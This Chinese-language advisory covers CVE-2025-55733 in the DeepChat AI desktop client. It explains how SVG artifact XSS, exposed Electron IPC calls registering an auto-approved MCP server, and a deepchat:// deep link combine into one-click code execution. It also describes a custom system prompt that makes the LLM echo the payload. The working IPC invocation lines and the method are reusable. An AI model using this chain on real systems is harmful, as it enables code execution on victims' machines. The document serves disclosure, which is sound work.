DeepChat v0.3.0一键远程代码执行CVE-2025-55733
DeepChat是一款跨平台的桌面级AI助手客户端,专为高效工作、隐私保护与多模型接入而设计,将强大的AI技术连接到您的个人世界中。
一、基本情况
DeepChat是一款免费开源的桌面端AI助手,用户轻松对接各大主流大语言模型(如 OpenAI、Gemini、Ollama、月之暗面等)无缝连接。
DeepChat 智能助理还具备强大文档处理、知识管理、创意生成能力及本地化部署,非常适用于个人用户、开发者、研究人员和企业团队。
栋科技漏洞库关注到 DeepChat 的受影响版本(v0.3.0)存在的一键远程代码执行漏洞,漏洞追踪CVE-2025-55733,CVSS 3.x 评分9.6。
二、漏洞分析
CVE-2025-55733漏洞是DeepChat在版本 0.3.1 之前存在的一键远程代码执行漏洞,漏洞影响范围较大,漏洞已在版本0.3.1中得到修复。
攻击者利用CVE-2025-55733高危漏洞,通过在任何网站上嵌入一个精心设计的“deepchat:”URL来利用该漏洞,包括他们控制的恶意网站。
当受害者访问此类网站或点击链接时,浏览器触发应用程序自定义URL处理程序(deepchat:),导致DeepChat应用程序启动并处理URL。
具体而言,任何访问页面或点击包含精心制作的deepchat://自定义URL的链接的用户都可能无意中触发deepchat应用程序的启动。
这种攻击就像典型的反射式或基于DOM的XSS一样,但是,它允许在受害者的机器上执行代码,从而导致更严重的后果。
因此,该漏洞可能导致攻击者在受害者的机器上执行远程代码。
聊天消息页面中的XSS
1、当聊天消息包含antArtifact标签时,客户端会打开一个预览页面来呈现它:
deepchat/src/renderer/src/components/message/MessageBlockContent.vue
Lines 82 to 93 in 97546cc
artifactStore.showArtifact(
{
id: part.artifact.identifier,
type: part.artifact.type,
title: part.artifact.title,
language: part.artifact.language,
content: part.content,
status: part.loading ? 'loading' : 'loaded'
},
props.messageId,
props.threadId
)
2、如果工件内容类型为image/svg+xml,则由SvgArtifact组件通过工件对话框处理:
deepchat/src/renderer/src/components/artifacts/ArtifactDialog.vue
Lines 295 to 296 in 97546cc
case 'image/svg+xml':
return SvgArtifact
deepchat/src/renderer/src/components/artifacts/ArtifactDialog.vue
Lines 107 to 120 in 97546cc
<component
:is="artifactComponent"
v-if="artifactComponent && artifactStore.currentArtifact"
:key="componentKey"
:block="{
content: artifactStore.currentArtifact.content,
artifact: {
type: artifactStore.currentArtifact.type,
title: artifactStore.currentArtifact.title
}
}"
:is-preview="isPreview"
class="artifact-dialog-content"
/>
3、最后,原始SVG内容直接传递到SvgArtifact.vue中的v-html中,这允许任意脚本执行:

4、要触发XSS,可以在聊天消息中输入以下内容,并要求LLM以提取方式返回。

5、将XSS升级到RCE
尽管渲染器进程配置了nodeIntegration=false和contextIsolation=true,但它仍然向渲染器公开了一个electronicAPI对象。
此API包括IPC基元,如ipcRenderer.ioke和ipcRenderer.send,它们允许渲染器进程调用主进程中的处理程序:
deepchat/src/preload/index.ts
Line 35 in 97546cc
exposeElectronAPI()
6、通过滥用这些暴露的IPC调用,我们找到了任意代码执行(RCE)的途径。
具体来说,我们可以使用精心编制的start命令注册恶意MCP服务器,然后启动它:
void window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','addMcpServer','pwn',{command:'open',args:['file:///System/Applications/Calculator.app/Contents/MacOS/Calculator'],env:{},descriptions:'PoC',icons:'🔌',autoApprove:['all'],type:'stdio'});
void window.electron.ipcRenderer.invoke('presenter:call','mcpPresenter','startServer','pwn')
此链导致Calculator应用程序在macOS上执行,展示了完整的RCE。
7、一键触发
Deepchat还支持通过Deepchat://方案自定义深度链接。当在浏览器中访问时,这些URL会提示用户打开Deepchat应用程序。
如果用户接受,则有效载荷将在应用程序内自动处理。
通过设置yolo=1,消息会自动发送。此外,我们使用自定义系统提示强制LLM在不进行修改的情况下回显有效载荷。
在msg参数中嵌入恶意antArtifact会导致以下一键RCE有效载荷,我们可以制作以下有效载荷:

三、POC概念验证
在浏览器中,导航到以下自定义URL,然后在弹出窗口中单击“打开深度聊天”:验证
1、在浏览器中,导航到以下自定义URL,然后在弹出窗口中单击“打开深度聊天”:

2、检查计算器是否会弹出。
四、影响范围
deepchat <= 0.3.0
五、参考链接
deepchat >= 0.3.1
六、参考链接
